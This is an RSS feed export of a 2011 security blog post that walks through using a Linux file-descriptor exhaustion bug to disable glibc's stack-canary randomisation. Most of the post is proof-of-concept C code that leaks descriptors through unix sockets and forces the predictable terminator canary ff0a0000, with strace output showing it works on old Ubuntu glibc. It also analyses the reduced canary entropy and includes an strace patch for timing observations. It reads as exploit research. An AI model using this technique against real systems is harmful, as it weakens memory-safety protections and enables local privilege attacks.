<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Cipher &#187; Security</title>
	<atom:link href="http://cipher.org.uk/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://cipher.org.uk</link>
	<description>org.uk</description>
	<lastBuildDate>Wed, 07 Dec 2011 16:02:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='cipher.org.uk' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://0.gravatar.com/blavatar/a86b55f737d4b8aa37dbd23638d1f09c?s=96&#038;d=http%3A%2F%2Fs2.wp.com%2Fi%2Fbuttonw-com.png</url>
		<title>Cipher &#187; Security</title>
		<link>http://cipher.org.uk</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://cipher.org.uk/osd.xml" title="Cipher" />
	<atom:link rel='hub' href='http://cipher.org.uk/?pushpress=hub'/>
		<item>
		<title>Taking advantage of File Descriptor exhaustion bugs</title>
		<link>http://cipher.org.uk/2011/01/20/taking-advantage-of-file-descriptor-exhaustion-bugs/</link>
		<comments>http://cipher.org.uk/2011/01/20/taking-advantage-of-file-descriptor-exhaustion-bugs/#comments</comments>
		<pubDate>Thu, 20 Jan 2011 05:24:34 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Bugs]]></category>
		<category><![CDATA[exhaustion]]></category>
		<category><![CDATA[file descriptor]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://cipher.org.uk/?p=601</guid>
		<description><![CDATA[Recently I saw an email at Full Disclosure (here &#38; here?), which provides a typical File Descriptor exhaustion bug and I decided to use it as a demonstration bug for this post. There are situations in which a File Descriptor exhaustion issue can help when trying to take advantage of certain conditions (in many cases [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=601&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Recently I saw an email at Full Disclosure (<a href="http://seclists.org/fulldisclosure/2010/Nov/303">here</a> &amp; <a href="http://marc.info/?l=linux-kernel&amp;m=129055087923940&amp;w=2">here</a>?), which provides a typical File Descriptor exhaustion bug and I decided to use it as a demonstration bug for this post. There are situations in which a File Descriptor exhaustion issue can help when trying to take advantage of certain conditions (in many cases local). In most of these cases exploitation will involve some kind of race condition.</p>
<p>
The example described bellow aims in disabling a Linux security countermeasure and possibly of other OSs which implement the same type of protection in a similar way. Note that below I am demonstrating this issue in older kernel/libc versions due to changes in the way that this protection is implemented in newer versions which protects against this.</p>
<p>Environment:<br />
<code>manos@jaunty:~/p/ke$ uname -a<br />
Linux jaunty 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux<br />
</code><br />
<code>manos@jaunty:~/p/ke$ sudo aptitude show libc6<br />
Package: libc6<br />
State: installed<br />
Automatically installed: no<br />
Version: 2.9-4ubuntu6.3<br />
Priority: required<br />
Section: libs<br />
Maintainer: Ubuntu Core developers<br />
Uncompressed Size: 11.2M<br />
Depends: libgcc1, findutils (&gt;= 4.4.0-2ubuntu2)<br />
Suggests: locales, glibc-doc, libc6-i686<br />
Conflicts: libterm-readline-gnu-perl (&lt; 1.15-2), tzdata (&lt; 2007k-1),<br />
           tzdata-etch, nscd (&lt; 2.9)<br />
Replaces: belocs-locales-bin<br />
Provides: glibc-2.9-1<br />
Description: GNU C Library: Shared libraries<br />
 Contains the standard libraries that are used by nearly all programs on the<br />
 system. This package includes shared versions of the standard C library and the<br />
 standard math library, as well as many others.<br />
</code>*This glibc version was purposely picked.</p>
<p><code>manos@jaunty:~/p/ke$ gcc -v<br />
..<br />
gcc version 4.3.3 (Ubuntu 4.3.3-5ubuntu4) </code></p>
<p>First lets print out the posted poc code:<br />
<pre class="brush: cpp; gutter: false;">
#include &lt;sys/socket.h&gt;
#include &lt;sys/un.h&gt;

static int send_fd (int unix_fd, int fd)
{
struct msghdr msgh;
struct cmsghdr *cmsg;
char buf[CMSG_SPACE (sizeof (fd))];
memset (&amp;msgh, 0, sizeof (msgh));


memset (buf, 0, sizeof (buf));

msgh.msg_control = buf;
msgh.msg_controllen = sizeof (buf);

cmsg = CMSG_FIRSTHDR (&amp;msgh);
cmsg-&gt;cmsg_len = CMSG_LEN (sizeof (fd));
cmsg-&gt;cmsg_level = SOL_SOCKET;


cmsg-&gt;cmsg_type = SCM_RIGHTS;

msgh.msg_controllen = cmsg-&gt;cmsg_len;

memcpy (CMSG_DATA (cmsg), &amp;fd, sizeof (fd));
return sendmsg (unix_fd, &amp;msgh, 0);
}

int main ()
{

int fd[2], ff[2];

int target;
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
return 1;
for (;;)
{
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
return 2;
send_fd (ff[0], fd[0]);
send_fd (ff[0], fd[1]);


close (fd[1]);
close (fd[0]);
fd[0] = ff[0];
fd[1] = ff[1];
}
} 
</pre><br />
Check <a href="http://linux.die.net/man/2/socketpair">here</a> and <a href="http://marc.info/?l=linux-netdev&amp;m=129055394027555&amp;w=2">here</a> if you want to know what is happening.</p>
<p>Next, we are moving to the targeted protection:</p>
<p>file: glibc-2.9/sysdeps/unix/sysv/linux/dl-osinfo.h<br />
<pre class="brush: cpp; gutter: false;">
..
static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void)
{
  uintptr_t ret;
#ifdef ENABLE_STACKGUARD_RANDOMIZE
  int fd = __open (&quot;/dev/urandom&quot;, O_RDONLY);
  if (fd &gt;= 0)
    {
      ssize_t reslen = __read (fd, &amp;ret, sizeof (ret));
      __close (fd);
      if (reslen == (ssize_t) sizeof (ret))
	return ret;
    }
#endif
  ret = 0;
  unsigned char *p = (unsigned char *) &amp;ret;
  p[sizeof (ret) - 1] = 255;
  p[sizeof (ret) - 2] = '\n';
  return ret;
}  
..
</pre></p>
<p>It is pretty obvious what our target is. Just in case you didn&#8217;t see it, we want to use our file exhaustion bug and disable the ENABLE_STACKGUARD_RANDOMIZE part of the code and leave only the terminator value (aka ff0a0000) which in certain situations can be overwritten and secure us EIP control.
</p>
<p>we want this unreachable :<br />
<pre class="brush: cpp; gutter: false;">
  if (fd &gt;= 0)
    {
      ssize_t reslen = __read (fd, &amp;ret, sizeof (ret));
      __close (fd);
      if (reslen == (ssize_t) sizeof (ret))
	return ret;
    }
</pre></p>
<p>
We want fd to return something less than 0. To increase our chances of doing this we are going to modify a little bit our FD exhaustion code : </p>
<p><pre class="brush: cpp; gutter: false;">
#include &lt;sys/socket.h&gt;
#include &lt;sys/un.h&gt;         
#include &lt;stdio.h&gt; 
#include &lt;string.h&gt;
#include &lt;stddef.h&gt;   
      
//return file-nr array - exit's when there are not enough File Descriptors     
int* nr()
{
	char line [100]; 
	FILE *filenr;
	if((filenr = fopen(&quot;/proc/sys/fs/file-nr&quot;, &quot;r&quot;)) == NULL){printf(&quot;\nOvershoot FDs - exiting\n&quot;);exit(0);}   
	fgets ( line, sizeof line, filenr );                                 
	fclose(filenr); 
	int out[3];
	sscanf(line, &quot;%d %d %d&quot;, &amp;out[0],&amp;out[1],&amp;out[2]);	
return out;
}   

static int send_fd (int unix_fd, int fd)
{
	  struct msghdr msgh;
	  struct cmsghdr *cmsg;
	  char buf[CMSG_SPACE (sizeof (fd))];
	  memset (&amp;msgh, 0, sizeof (msgh));
	  memset (buf, 0, sizeof (buf));
	  msgh.msg_control = buf;
	  msgh.msg_controllen = sizeof (buf);
	  cmsg = CMSG_FIRSTHDR (&amp;msgh);
	  cmsg-&gt;cmsg_len = CMSG_LEN (sizeof (fd));
	  cmsg-&gt;cmsg_level = SOL_SOCKET;
	  cmsg-&gt;cmsg_type = SCM_RIGHTS;
	  msgh.msg_controllen = cmsg-&gt;cmsg_len;
	  memcpy (CMSG_DATA (cmsg), &amp;fd, sizeof (fd));
	  return sendmsg (unix_fd, &amp;msgh, 0);   
}    



int crash_loop(int loop) 
{
	
 int fd[3], ff[3];
 int count=0;

  while (count&lt;loop)                         
  {  
	
	//Set FD lower limit for shooting out Canary          
	int *in = nr();
	int c=in[0],i=in[1],l=in[2]; 

		if (l-c&lt;=80) 
		{
		system(&quot;strace -x -e trace=read,open ./m&quot;); 
		}              
		    
    if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
    return 2;  	
    send_fd (ff[0], fd[0]);
    send_fd (ff[0], fd[1]);
    close (fd[1]);
    close (fd[0]);
    fd[0] = ff[0];
    fd[1] = ff[1];                        
	count++;
  }	
}

int main (int argc, char *argv[])
{    
	printf (&quot;Start Exhaustion Loop\n&quot;);  

    while (1)
		{  
	    	crash_loop(1);
        	}
} 

</pre></p>
<p>
What we added is some control over the loop and nr() which probes /proc/sys/fs/file-nr and gets the current used FDs and the system&#8217;s FD limit. Then we take this array and we set the lower limit of free file descriptors before attempting to &#8220;lock&#8221; access to /dev/urandom. Note that since this process is going to be un-killable we want it to stop at the point where we have no other free descriptors, hence we &#8220;exit&#8221; when we can&#8217;t open /proc/sys/fs/file-nr.  We execute our victim application using strace, as we want to see all the system calls (e.g. open, read). *Note that the use of usleep might come handy if we want to stabilise our free FDs to a certain number, since the method described below is likely to be used in a waiting stabilising process form rather than executing multiple times our target program as described here.
</p>
<p>Now let&#8217;s look our victim application :<br />
<pre class="brush: cpp; gutter: false;">
#include &lt;stdint.h&gt;
#include &lt;stdio.h&gt;


int main(int argc, char *argv[]) 

  	{   //STACK_CHK_GUARD  -  i386    (stackguard-macros.h)    
		uintptr_t x; 
		asm (&quot;movl %%gs:0x14, %0&quot; : &quot;=r&quot; (x));
		fprintf(stderr, &quot;Cookie [%%gs:0x14=%0lx]\n\n&quot;,x)    ; 
	}
</pre><br />
We simply take the canary from %gs:0&#215;14 and we print it out. If we execute it with strace we get the following : </p>
<p><code>brk(0)                                  = 0x8b3e000<br />
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)<br />
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8000000<br />
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)<br />
open("/etc/ld.so.cache", O_RDONLY)      = 3<br />
fstat64(3, {st_mode=S_IFREG|0644, st_size=50808, ...}) = 0<br />
mmap2(NULL, 50808, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ff3000<br />
close(3)                                = 0<br />
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)<br />
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\.."..., 512) = 512<br />
fstat64(3, {st_mode=S_IFREG|0755, st_size=1442180, ...}) = 0<br />
mmap2(NULL, 1451632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e90000<br />
mprotect(0xb7fec000, 4096, PROT_NONE)   = 0<br />
mmap2(0xb7fed000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15c) = 0xb7fed000<br />
mmap2(0xb7ff0000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7ff0000<br />
close(3)                                = 0<br />
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e8f000<br />
set_thread_area({entry_number:-1 -&gt; 6, base_addr:0xb7e8f6c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0<br />
open("/dev/urandom", O_RDONLY)          = 3<br />
read(3, "\xc9\x6e\xa8"..., 3)           = 3<br />
close(3)                                = 0<br />
mprotect(0xb7fed000, 8192, PROT_READ)   = 0<br />
mprotect(0x8049000, 4096, PROT_READ)    = 0<br />
mprotect(0xb801f000, 4096, PROT_READ)   = 0<br />
munmap(0xb7ff3000, 50808)               = 0<br />
write(2, "Cookie [%gs:0x14=a86ec900]\n\n"..., 28Cookie [%gs:0x14=a86ec900]) = 28<br />
exit_group(28)                         = ?</code></p>
<p>We can clearly see that : </p>
<p><code>open("/dev/urandom", O_RDONLY)          = 3<br />
read(3, "\xc9\x6e\xa8"..., 3)           = 3</code></p>
<p>and our canary is a86ec900 (little endian + 1 null byte)</p>
<p>Now that we have everything set let&#8217;s see what happens when we execute our code: </p>
<p><code>manos@jaunty:~/p/ke$./pp&amp;<br />
Start Exhaustion Loop<br />
.<br />
.<br />
.<br />
open("/etc/ld.so.cache", O_RDONLY)      = 3<br />
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00....., 512) = 512<br />
open("/dev/urandom", O_RDONLY)          = 3<br />
read(3, "\x04\xe8\x8e"..., 3)           = 3<br />
Cookie [%gs:0x14=8ee80400]<br />
open("/etc/ld.so.cache", O_RDONLY)      = 0<br />
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 0<br />
read(0, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x0.."..., 512) = 512<br />
open("/dev/urandom", O_RDONLY)          = 0<br />
read(0, "ATX"..., 3)                    = 3<br />
Cookie [%gs:0x14=58544100]<br />
open("/etc/ld.so.cache", O_RDONLY)      = 3<br />
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03.."..., 512) = 512<br />
<strong>open("/dev/urandom", O_RDONLY)          = -1 ENFILE (Too many open files in system)<br />
Cookie [%gs:0x14=a967000]</strong></code><br />
<code>Overshoot FDs - exiting</code></p>
<p>As we can see, after some executions we managed to block ENABLE_STACKGUARD_RANDOMIZE with an ENFILE error and jump straight after the if statement. Clearly we should have seen ff0a0000 here. After some more tries we observe the following canary values (for fd =-1) : </p>
<p><code>..<br />
0xe8537000<br />
0x1c0d7000<br />
0x146c7000<br />
0xe8b0f000<br />
0x1d487000<br />
0x13d2f000<br />
0x15caf000<br />
 0x7c3f000<br />
0xe1b47000<br />
 0x6e77000<br />
0xe5a47000<br />
0x1ab7f000<br />
0xf4237000<br />
0x1978f000<br />
0xe584f000<br />
 0x5287000<br />
0x18de7000<br />
 0xb517000<br />
0x1311f000<br />
0xf1f47000<br />
 0x310f000<br />
0xfe0b7000<br />
0xf7ccf000<br />
0xff2ff000<br />
0xf8d07000<br />
 0x6e77000<br />
0xf35ef000<br />
0xf0f07000<br />
0xe21af000<br />
0xf1b57000<br />
0xb71f000<br />
0x1c0d7000<br />
<strong>0xe9f5f000<br />
0xe832f000<br />
0xe8f1f000<br />
0xed26f000<br />
0xee4b7000</strong><br />
0x83cf000<br />
0xeb1e7000<br />
0xc0c7000<br />
0xf9f4f000<br />
..</code></p>
<p>Some modification is happening on the terminator canary.</p>
<p>If we get libc6 along with glibc_2.9-4ubuntu6.3.diff and inspect the patch, we see the following lines added within dl-osinfo.h : </p>
<p><pre class="brush: cpp; gutter: false;">
+@@ -77,5 +80,31 @@
+   unsigned char *p = (unsigned char *) &amp;ret;
+   p[sizeof (ret) - 1] = 255;
+   p[sizeof (ret) - 2] = '\n';
++#ifdef HP_TIMING_NOW
++  hp_timing_t hpt;
++  HP_TIMING_NOW (hpt);
++  hpt = (hpt &amp; 0xffff) &lt;&lt; 8;
++  ret ^= hpt;
++#endif
++  uintptr_t stk;
++  /* Avoid GCC being too smart.  */
++  asm (&quot;&quot; : &quot;=r&quot; (stk) : &quot;r&quot; (p));
++  stk &amp;= 0x7ffff0;
++#if __BYTE_ORDER == __LITTLE_ENDIAN
++  stk &lt;&lt;= (__WORDSIZE - 23);
++#elif __WORDSIZE == 64
++  stk &lt;&lt;= 31;
++#endif
++  ret ^= stk;
++  /* Avoid GCC being too smart.  */
++  p = (unsigned char *) &amp;errno;
++  asm (&quot;&quot; : &quot;=r&quot; (stk) : &quot;r&quot; (p));
++  stk &amp;= 0x7fff00;
++#if __BYTE_ORDER == __LITTLE_ENDIAN
++  stk &lt;&lt;= (__WORDSIZE - 29);
++#else
++  stk &gt;&gt;= 8;
++#endif
++  ret ^= stk;
+   return ret; ;      
</pre></p>
<p>This patch is XORing the value of ret (terminator value) with the current CPU tick counter (taken from rdtsc). Then the array&#8217;s (p) address is used (as additional entropy) and the rest can be replicated by us, so the patch adds some fair and cheap trickery (<a href="http://www.mail-archive.com/debian-glibc@lists.debian.org/msg42655.html">poor man&#8217;s randomisation</a>) &#8211; *while I was writing this post, <a href="http://vexillium.org/dl.php?/Windows_Kernel-mode_GS_Cookies_subverted.pdf">this</a> was published, which shows that windows kernel mode canary generation is similar to the above.<br />
</p>
<p>To make sure that a glibc version without the stack-guard-quick-randomization.diff applied is giving ff0a0000 (even though we can confirm this with strace), we recompile glibc without this patch. This will save us some time of looking around to find a distro without this patch applied (we just comment out all XOR operations).</p>
<p>So lets run pp again :<br />
<code>manos@jaunty:~/p/ke$./pp&amp;<br />
Start Exhaustion Loop<br />
.<br />
.<br />
.<br />
[b80a70d4] open("/etc/ld.so.cache", O_RDONLY) = 0<br />
[b80a70d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 0<br />
[b80a7154] read(0, "\x7f\x45\x4c\x46\x01\x01\x01\x00.."..., 512) = 512<br />
[b80a70d4] open("/dev/urandom", O_RDONLY) = 0<br />
[b80a7154] read(0, "\x17\x7f\x77"..., 3) = 3<br />
Cookie [%gs:0x14=777f1700]<br />
[b7f7e0d4] open("/etc/ld.so.cache", O_RDONLY) = 3<br />
[b7f7e0d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
[b7f7e154] read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\..."..., 512) = 512<br />
[b7f7e0d4] open("/dev/urandom", O_RDONLY) = 3<br />
[b7f7e154] read(3, "\x70\xec\x1e"..., 3) = 3<br />
Cookie [%gs:0x14=1eec7000]<br />
[b80f10d4] open("/etc/ld.so.cache", O_RDONLY) = 0<br />
[b80f10d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 0<br />
[b80f1154] read(0, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00..."..., 512) = 512<br />
[b80f10d4] open("/dev/urandom", O_RDONLY) = 0<br />
[b80f1154] read(0, "\x64\x95\xb7"..., 3) = 3<br />
Cookie [%gs:0x14=b7956400]<br />
[b808a0d4] open("/etc/ld.so.cache", O_RDONLY) = 3<br />
[b808a0d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
[b808a154] read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00..."..., 512) = 512<br />
[b808a0d4] open("/dev/urandom", O_RDONLY) = -1 ENFILE (Too many open files in system)<br />
<strong>Cookie [%gs:0x14=ff0a0000]</strong></code><br />
<code>Overshoot FDs - exiting<br />
</code><br />
<strong>We are now certain that a simple File Descriptor exhaustion bug can assist in disabling canary stack randomisation.</strong> It is worth mentioning that /dev/urandom was dropped mainly on performance and not security implications of FD hijacking or shortage. </p>
<p>As this post is focused on disabling the ENABLE_STACKGUARD_RANDOMIZE we are not going to analyse ways of guessing/determing  stack-guard-quick-randomization.diff entropy points, however going back to the patched version and based solely on visual canary value observations, we can see that we significantly reduced the canary space from 16777215  to almost 65535. <strong>rdtsc</strong> can be predicted with some decent accuracy in a low/medium usage uniprocessor systems, during non-context switched execution, but we save this for another time.
</p>
<p>
Below is a simple patch for strace &#8211; which prints rdtsc at each &#8220;syscal exit&#8221; (trace_syscall_exiting) &#8211; <em>It is not accurate but it can be used for roughly observing tick jumps</em></p>
<p><pre class="brush: cpp; gutter: false;">
--- syscall.c
+++ syscall.c
@@ -109,7 +109,7 @@
 #define TN TRACE_NETWORK
 #define TP TRACE_PROCESS
 #define TS TRACE_SIGNAL
-
+#define HP_TIMING_NOW(Var)	__asm__ __volatile__ (&quot;rdtsc&quot; : &quot;=A&quot; (Var))
 static const struct sysent sysent0[] = {
 #include &quot;syscallent.h&quot;
 };
@@ -2520,7 +2520,8 @@
 			(long) tv.tv_sec, (long) tv.tv_usec);
 	}
 	printtrailer();
-
+	HP_TIMING_NOW (hpt);
+	tprintf(&quot; rdtsc : %lld   &quot;,hpt );
 	dumpio(tcp);
 	if (fflush(tcp-&gt;outf) == EOF)
 		return -1;
</pre></p>
<p>The output of strace with the rdtsc out is :<br />
<code>execve("./m", ["./m"], [/* 20 vars */]) = 0<br />
		 rdtsc : 170812617327520   brk(0)                                  = 0x9a62000<br />
		 rdtsc : 170812617944640   access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)<br />
		 rdtsc : 170812618580380   mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8083000<br />
		 rdtsc : 170812618926180   access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)<br />
		 rdtsc : 170812619351780   open("/etc/ld.so.cache", O_RDONLY)      = 3<br />
		 rdtsc : 170812619758760   fstat64(3, {st_mode=S_IFREG|0644, st_size=50808, ...}) = 0<br />
		 rdtsc : 170812620131160   mmap2(NULL, 50808, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb8076000<br />
		 rdtsc : 170812620421100   close(3)                                = 0<br />
		 rdtsc : 170812620785520   access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)<br />
		 rdtsc : 170812621126000   open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
		 rdtsc : 170812621530320   read(3, "\177ELF\1\1\1\3\3\1\320h\1004"..., 512) = 512<br />
		 rdtsc : 170812621830900   fstat64(3, {st_mode=S_IFREG|0755, st_size=1442180, ...}) = 0<br />
		 rdtsc : 170812622221920   mmap2(NULL, 1451632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7f13000<br />
		 rdtsc : 170812622559740   mprotect(0xb806f000, 4096, PROT_NONE)   = 0<br />
		 rdtsc : 170812622852340   mmap2(0xb8070000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15c) = 0xb8070000<br />
		 rdtsc : 170812623144940   mmap2(0xb8073000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb8073000<br />
		 rdtsc : 170812623490740   close(3)                                = 0<br />
		 rdtsc : 170812623831220   mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f12000<br />
		 rdtsc : 170812624230220   set_thread_area({entry_number:-1 -&gt; 6, base_addr:0xb7f126c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0<br />
		 rdtsc : 170812624568040   open("/dev/urandom", O_RDONLY)          = 3<br />
		 rdtsc : 170812624900540   read(3, "\247\33'", 3)                  = 3<br />
		 rdtsc : 170812625185160   close(3)                                = 0<br />
		 rdtsc : 170812625453820   mprotect(0xb8070000, 8192, PROT_READ)   = 0<br />
		 rdtsc : 170812626110840   mprotect(0x8049000, 4096, PROT_READ)    = 0<br />
		 rdtsc : 170812626430040   mprotect(0xb80a2000, 4096, PROT_READ)   = 0<br />
		 rdtsc : 170812626757220   munmap(0xb8076000, 50808)               = 0<br />
		 rdtsc : 170812627081740   write(2, "\nUSAGE: 1 (print Canary), 2 (ter"..., 52<br />
		USAGE: 1 (print Canary), 2 (terminator owerwrite)) = 52<br />
		 rdtsc : 170812627674920   exit_group(52)                          = ?<br />
</code>
</p>
<p><font color="green">For other possible FD exhaustion targets you can look <a href="http://www.google.com/codesearch?hl=en&amp;lr=&amp;q=lang%3AC+if%5C%28fd%3E%3D0&amp;sbtn=Search">here</a></font>.</p>
<p>
I didn&#8217;t explain some things since they have been discussed before, so if you have unanswered questions have a look below  :</p>
<li><a href="http://www.trl.ibm.com/projects/security/ssp/">http://www.trl.ibm.com/projects/security/ssp/</a></li>
<li><a href="http://www.phrack.org/issues.html?issue=67&amp;id=13">http://www.phrack.org/issues.html?issue=67&amp;id=13 </a></li>
<li><a href="http://sources.redhat.com/ml/libc-alpha/2008-10/msg00016.html">http://sources.redhat.com/ml/libc-alpha/2008-10/msg00016.html</a></li>
<li><a href="http://cwe.mitre.org/data/definitions/769.html">http://cwe.mitre.org/data/definitions/769.html</a></li>
<li><a href="http://en.wikipedia.org/wiki/Time_Stamp_Counter">http://en.wikipedia.org/wiki/Time_Stamp_Counter</a></li>
<li><a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=511811">http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=511811</a></li>
<li><a href="https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/275493">https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/275493</a></li>
<li><a href="http://sourceware.org/bugzilla/show_bug.cgi?id=10149">http://sourceware.org/bugzilla/show_bug.cgi?id=10149</a></li>
<li><a href="http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/">http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/</a></li>
<li><a href="http://census-labs.com/news/2009/01/21/static-ssp-canary-debian-libc6/">http://census-labs.com/news/2009/01/21/static-ssp-canary-debian-libc6/</a></li>
<br /> Tagged: <a href='http://cipher.org.uk/tag/bugs/'>Bugs</a>, <a href='http://cipher.org.uk/tag/exhaustion/'>exhaustion</a>, <a href='http://cipher.org.uk/tag/file-descriptor/'>file descriptor</a>, <a href='http://cipher.org.uk/tag/linux/'>linux</a>, <a href='http://cipher.org.uk/tag/security/'>Security</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/601/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=601&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2011/01/20/taking-advantage-of-file-descriptor-exhaustion-bugs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
		<item>
		<title>Source code review with AutoBugle</title>
		<link>http://cipher.org.uk/2008/02/05/source-code-review-with-bugle/</link>
		<comments>http://cipher.org.uk/2008/02/05/source-code-review-with-bugle/#comments</comments>
		<pubDate>Tue, 05 Feb 2008 22:23:40 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[bugle]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[source code]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/read/2008/02/05/source-code-review-with-bugle/</guid>
